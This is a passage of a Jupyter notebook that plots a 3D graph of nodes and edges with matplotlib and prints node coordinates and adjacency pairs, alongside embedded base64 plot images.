SsiRHwoDBFC7EZubi6CgoIQExMjdClWM2/ePJSXl6Oy\nshI6nQ7//ve/wTCM0GURIio0dJEQYhc6Ozvx5ptv4siRI0KXYlVjxozB3/72NzzxxBMwGo1Yu3Yt\nZsyYIXRZhIgKXa0nhIxavfejFRUVYfHixfz0a+5x0YULFxAYGChwpYQQC6HdZIQQwpk1axZUKhX/\n69DQUFy6dAn+/v4CVkUIEQPqGSKEjEorV65EQkICrl+/juDgYHz44YdCl0QIESl6TEYIIYSQ0Yom\nUBNCCCGEPAiFIUIIIYTYNQpDhBBCCLFrFIYIIYQQYtcoDBFCCCHErlEYIoQQQohdozBECCGEELtG\nYYgQQgghdo3CECGEEELsGoUhQgghhNg1CkOEEEIIsWsUhgghhBBi1ygMEUIIIcSuURgihBBCiF2j\nMEQIIYQQu0ZhiBBCCCF2jcIQIYQQQuwahSFCCCGE2LUxQ/x6B4tUQQghhBAiEDoZIoQQQohdozBE\nCCGEELtGYYgQQgghdo3CECGEEELsGoUhQgghhNg1CkOEEEIIsWsUhgghhBBi1ygMEUIIIcSuURgi\nhBBCiF2jMEQIIYQQu/b/HVNemYT/bKMAAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1111c14e0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "import matplotlib.pyplot as plt\n", "from mpl_toolkits.mplot3d import Axes3D\n", "\n", "fig = plt.figure(figsize=(10,10))\n", "ax = fig.add_subplot(111, projection='3d')\n", "\n", "for k,ls in enumerate(Adj):\n", " for u in ls:\n", " ax.plot([Coords[k,0], Coords[u,0] ],[Coords[k,1], Coords[u,1] ], [Coords[k,2], Coords[u,2] ],'k')\n", " \n", " if Adj[k]:\n", " ax.plot([Coords[k,0]], [Coords[k,1]], [Coords[k,2]], 'ro')\n", " \n", "\n", "ax.set_zlim([0, 1])\n", " \n", "plt.show()\n" ] }, { "cell_type": "code", "execution_count": 69, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "0.8, 0.3, 0.8\n", "0.8, 1.4, 0.8\n", "0.8, 2.6, 0.8\n", "0.8, 3.1, 0.8\n", "0.8, 4.5, 0.8\n", "0.8, 5.4, 0.8\n", "0.7, 6.0, 0.7\n", "0.6, 7.6, 0.6\n", "0.9, 8.2, 0.9\n", "0.8, 9.3, 0.8\n", "1.5, 0.3, 1.5\n", "1.5, 1.5, 1.5\n", "1.6, 2.5, 1.6\n", "1.8, 2.9, 1.8\n", "1.6, 4.6, 1.6\n", "1.7, 5.2, 1.7\n", "1.5, 6.1, 1.5\n", "1.5, 7.5, 1.5\n", "1.7, 8.3, 1.7\n", "1.6, 9.4, 1.6\n", "2.7, 0.1, 2.7\n", "2.7, 1.3, 2.7\n", "2.5, 2.6, 2.5\n", "2.6, 2.8, 2.6\n", "2.6, 4.5, 2.6\n", "2.5, 5.0, 2.5\n", "2.5, 6.1, 2.5\n", "2.6, 7.6, 2.6\n", "2.6, 8.2, 2.6\n", "2.4, 9.1, 2.4\n", "3.7, 0.2, 3.7\n", "3.7, 1.3, 3.7\n", "3.8, 2.7, 3.8\n", "3.9, 2.9, 3.9\n", "3.7, 4.8, 3.7\n", "3.6, 5.4, 3.6\n", "3.7, 6.1, 3.7\n", "3.8, 7.5, 3.8\n", "3.8, 8.2, 3.8\n", "3.7, 9.3, 3.7\n", "4.4, 0.3, 4.4\n", "4.4, 1.4, 4.4\n", "4.3, 2.4, 4.3\n", "4.3, 3.1, 4.3\n", "4.5, 4.6, 4.5\n", "4.6, 5.3, 4.6\n", "4.3, 6.2, 4.3\n", "4.6, 7.5, 4.6\n", "4.4, 8.3, 4.4\n", "4.6, 9.1, 4.6\n", "5.4, 0.5, 5.4\n", "5.4, 1.3, 5.4\n", "5.3, 2.6, 5.3\n", "5.2, 2.9, 5.2\n", "5.3, 4.6, 5.3\n", "5.3, 5.3, 5.3\n", "5.4, 6.2, 5.4\n", "5.3, 7.6, 5.3\n", "5.3, 8.3, 5.3\n", "5.2, 9.4, 5.2\n", "6.3, 0.3, 6.3\n", "6.2, 1.3, 6.2\n", "6.1, 2.6, 6.1\n", "6.2, 3.1, 6.2\n", "6.2, 4.8, 6.2\n", "6.2, 5.6, 6.2\n", "6.3, 6.0, 6.3\n", "6.0, 7.4, 6.0\n", "6.2, 8.4, 6.2\n", "6.2, 9.2, 6.2\n", "7.5, 0.5, 7.5\n", "7.7, 1.2, 7.7\n", "7.5, 2.6, 7.5\n", "7.5, 3.2, 7.5\n", "7.5, 4.8, 7.5\n", "7.6, 5.3, 7.6\n", "7.5, 6.2, 7.5\n", "7.5, 7.7, 7.5\n", "7.6, 8.3, 7.6\n", "7.7, 9.3, 7.7\n", "8.1, 0.4, 8.1\n", "8.1, 1.3, 8.1\n", "8.2, 2.5, 8.2\n", "8.1, 3.0, 8.1\n", "8.1, 4.6, 8.1\n", "8.0, 5.4, 8.0\n", "8.1, 6.0, 8.1\n", "8.2, 7.7, 8.2\n", "8.3, 8.5, 8.3\n", "8.1, 9.4, 8.1\n", "9.4, 0.1, 9.4\n", "9.3, 1.4, 9.3\n", "9.4, 2.5, 9.4\n", "9.3, 3.0, 9.3\n", "9.4, 4.6, 9.4\n", "9.6, 5.4, 9.6\n", "9.4, 6.1, 9.4\n", "9.2, 7.6, 9.2\n", "9.6, 8.4, 9.6\n", "9.4, 9.3, 9.4\n", "1,2\n", "1,11\n", "2,1\n", "2,12\n", "4,5\n", "4,14\n", "5,4\n", "5,6\n", "5,15\n", "6,5\n", "6,7\n", "6,16\n", "7,6\n", "7,17\n", "9,19\n", "10,11\n", "11,1\n", "11,10\n", "11,12\n", "11,21\n", "12,2\n", "12,11\n", "12,13\n", "12,22\n", "13,12\n", "13,14\n", "13,23\n", "14,4\n", "14,13\n", "14,15\n", "14,24\n", "15,5\n", "15,14\n", "15,16\n", "15,25\n", "16,6\n", "16,15\n", "16,17\n", "17,7\n", "17,16\n", "17,18\n", "17,27\n", "18,17\n", "18,19\n", "18,28\n", "19,9\n", "19,18\n", "19,29\n", "20,21\n", "20,30\n", "21,11\n", "21,20\n", "21,22\n", "21,31\n", "22,12\n", "22,21\n", "22,23\n", "23,13\n", "23,22\n", "23,24\n", "23,33\n", "24,14\n", "24,23\n", "24,25\n", "25,15\n", "25,24\n", "25,26\n", "25,35\n", "26,25\n", "26,27\n", "26,36\n", "27,17\n", "27,26\n", "27,28\n", "27,37\n", "28,18\n", "28,27\n", "28,29\n", "29,19\n", "29,28\n", "29,39\n", "30,20\n", "30,31\n", "30,40\n", "31,21\n", "31,30\n", "31,41\n", "33,23\n", "33,34\n", "33,43\n", "34,33\n", "34,35\n", "34,44\n", "35,25\n", "35,34\n", "35,36\n", "36,26\n", "36,35\n", "36,37\n", "37,27\n", "37,36\n", "37,38\n", "37,47\n", "38,37\n", "38,39\n", "38,48\n", "39,29\n", "39,38\n", "39,49\n", "40,30\n", "40,41\n", "40,50\n", "41,31\n", "41,40\n", "43,33\n", "43,44\n", "43,53\n", "44,34\n", "44,43\n", "44,45\n", "45,44\n", "45,46\n", "45,55\n", "46,45\n", "46,47\n", "46,56\n", "47,37\n", "47,46\n", "47,48\n", "47,57\n", "48,38\n", "48,47\n", "48,49\n", "49,39\n", "49,48\n", "49,59\n", "50,40\n", "50,51\n", "50,60\n", "51,50\n", "51,52\n", "51,61\n", "52,51\n", "52,53\n", "52,62\n", "53,43\n", "53,52\n", "53,54\n", "54,53\n", "54,55\n", "54,64\n", "55,45\n", "55,54\n", "55,56\n", "55,65\n", "56,46\n", "56,55\n", "56,57\n", "56,66\n", "57,47\n", "57,56\n", "57,58\n", "57,67\n", "58,57\n", "58,59\n", "58,68\n", "59,49\n", "59,58\n", "59,69\n", "60,50\n", "60,61\n", "60,70\n", "61,51\n", "61,60\n", "61,62\n", "61,71\n", "62,52\n", "62,61\n", "62,72\n", "64,54\n", "64,65\n", "64,74\n", "65,55\n", "65,64\n", "65,66\n", "65,75\n", "66,56\n", "66,65\n", "66,67\n", "67,57\n", "67,66\n", "67,68\n", "67,77\n", "68,58\n", "68,67\n", "68,69\n", "68,78\n", "69,59\n", "69,68\n", "69,79\n", "70,60\n", "70,71\n", "71,61\n", "71,70\n", "71,72\n", "72,62\n", "72,71\n", "72,73\n", "73,72\n", "73,74\n", "73,83\n", "74,64\n", "74,73\n", "74,75\n", "74,84\n", "75,65\n", "75,74\n", "75,76\n", "75,85\n", "76,75\n", "76,77\n", "77,67\n", "77,76\n", "77,78\n", "78,68\n", "78,77\n", "78,79\n", "79,69\n", "79,78\n", "79,89\n", "82,83\n", "82,92\n", "83,73\n", "83,82\n", "83,84\n", "83,93\n", "84,74\n", "84,83\n", "84,85\n", "84,94\n", "85,75\n", "85,84\n", "85,95\n", "87,88\n", "87,97\n", "88,87\n", "88,89\n", "88,98\n", "89,79\n", "89,88\n", "89,99\n", "92,82\n", "92,93\n", "93,83\n", "93,92\n", "93,94\n", "94,84\n", "94,93\n", "94,95\n", "95,85\n", "95,94\n", "95,96\n", "96,95\n", "96,97\n", "97,87\n", "97,96\n", "97,98\n", "98,88\n", "98,97\n", "98,99\n", "99,89\n", "99,98\n" ] } ], "source": [ "for k in range(M*N):\n", " print(\"%2.1f, %2.1f, %2.1f\" % (Coords[k, 0], Coords[k, 1], Coords[k, 0]))\n", " \n", "for k in range(M*N):\n", " for u in Adj[k]:\n", " print('%d,%d' % (k,u))" ] }, { "cell_type": "code", "execution_count": 11, "metadata": { "scrolled": true }, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAc8AAAXCCAYAAAB9qWbmAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3V+MXNdhHvAzzmhNrd3hJK1tadGnxvGfWiXR2EmXUmwn\ndhKLCtkAUkF2mbc6BcoXsjYKFGLzQLaA0IfCr3xZA02BFmixWiYVLaexnUaWJfahaUrW4tZt0lVS\nc6mVm4I24I1Dbn36IK9AUTxn987OnXvPvb8f4BdG2rn6cme/uXdmPg5ijDEAAHv2jqYPAABKozwB\noCLlCQAVKU8AqEh5AkBFyhMAKlKeAFCR8gSAipQnAFSkPAGgIuUJABUpTwCoSHkCQEXKEwAqUp4A\nUJHyBICKlCcAVKQ8AaAi5QkAFSlPAKhIeQJARcoTACpSngBQkfIEgIqUJwBUpDwBoCLlCQAVKU8A\nqEh5AkBFyhMAKlKeAFCR8gSAipQnAFSkPAGgIuUJABUpTwCoSHkCQEXKEwAqUp4AUJHyBICKlCcA\nVKQ8AaAi5QkAFSlPAKhIeQJARcoTACpSngBQkfIEgIqUJwBUpDwBoCLlCQAVKU8AqEh5AkBFyhMA\nKlKeAFCR8gSAipQnAFSkPAGgIuUJABUpTwCoSHkCQEXKEwAqUp4AUJHyBICKlCcAVKQ8AaAi5QkA\nFSlPAKhIeQJARcoTACpSngBQkfIEgIqUJwBUpDwBoCLlCQAVKU8AqEh5AkBFyhMAKlKeAFCR8gSA\nipQnAFSkPAGgIuUJABUpTwCoSHkCQEXKEwAqUp4AUJHyBICKlCcAVKQ8AaAi5QkAFSlPAKhIeQJA\nRcoTACpSngBQkfIEgIqUJwBUpDwBoCLlCQAVKU8AqEh5AkBFyhMAKlKeAFCR8gSAipQnAFSkPAGg\nIuUJABUpTwCoSHkCQEXKEwAqUp4AUJHyBICKlCcAVKQ8AaAi5QkAFSlPAKhIeQJARcoTACpSngBQ\nkfIEgIqGTR9AXba3t8PVq1fDlStXwsbGRvjBD34QDhw4EBYWFsKRI0fC4cOHw3DY2f/8LNnkySdN\nNnnySetcNrFj1tbW4pkzZ+J4PI4hhBhCiMPhMI5GozgcDt/8s/F4HM+cORPX1taaPuSZkU2efNJk\nkyeftK5m05ny3NjYiCdOnIghhDg3NxdPnToVV1ZW4s2bN9/yz928eTOurKzEpaWlODc3F0MI8cSJ\nE3FjY6OhI6+fbPLkkyabPPmkdT2bTpTn6upqHI1GcX5+Pl64cCFubm7u6d/b3NyMFy5ciPPz83E0\nGsVLly7VfKSzJ5s8+aTJJk8+aX3IpvjyXF5ejoPBIC4uLsb19fWJfsb6+npcXFyMg8EgLi8vT/cA\nGySbPPmkySZPPml9yabo8lxdXY2DwSAePXo0bm1t7etnbW1txaNHj8bBYBBXV1endITNkU2efNJk\nkyeftD5lU2x53rhxI45Go7i4uLjv/yft2NraiouLi3E0GrX+fnuObPLkkyabPPmk9S2bYsvzxIkT\ncX5+Pr766qtT/bnr6+txfn4+njx5cqo/d5ZkkyefNNnkySetb9kUWZ7Xr1+PIYR44cKFWn7++fPn\nYwihmI9M3002efJJk02efNL6mE2R5XnmzJk4NzcXX3/99Vp+/ubmZpybm4tnz56t5efXSTZ58kmT\nTZ580vqYTXHleefOnTgej+OpU6dqfZylpaU4Ho/jnTt3an2caZJNnnzSZJMnn7S+ZlPctu3Vq1fD\nrVu3wpNPPlnr4zz11FPh1q1b4dq1a7U+zjTJJk8+abLJk09aX7MprjyvXLkSQgjhscceq/VxHn30\n0bc8XglkkyefNNnkySetr9kUV54bGxthOByGhx56qNbHefjhh8NwOAwbGxu1Ps40ySZPPmmyyZNP\nWm+zafq+cVWf+9zn4mg0msljjUaj+LnPfW4mjzUNs84m/GjQuaT/yUc28ik7m7b8Ti7uyvPAgQNh\na2trJo+1tbUVHnzwwZk81jTMOptz586F+MaHzor439NPPy0f2cin8Gza8ju5uPJcWFgI29vb4bXX\nXqv1cW7evBm2t7fDwsJCrY8zTbLJk0+abPLkk9bXbIorzyNHjoQQQnjppZdqfZyXX375LY9XAtnk\nySdNNnnySetrNsWV5+HDh8N4PA6rq6u1Ps6zzz4bxuNxOHToUK2PM02yyZNPmmzy5JPW22xigfq4\nZrFXssmTT5ps8uST1sdsirvyDCGE06dPh9u3b4eLFy/W8vMvXrwYbt++HU6fPl3Lz6+TbPLkkyab\nPPmk9TKbptt7UjsL/pP+ZaspbV3wr0I2efJJk02efNL6lk2x5bmxsdGrvzuuCtnkySdNNnnySetb\nNsWWZ4z1/a3lly5dmtIRNkc2efJJk02efNL6lE3R5RljjMvLy3EwGMTFxcWJbxesr6/HxcXFOBgM\n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\nsyOa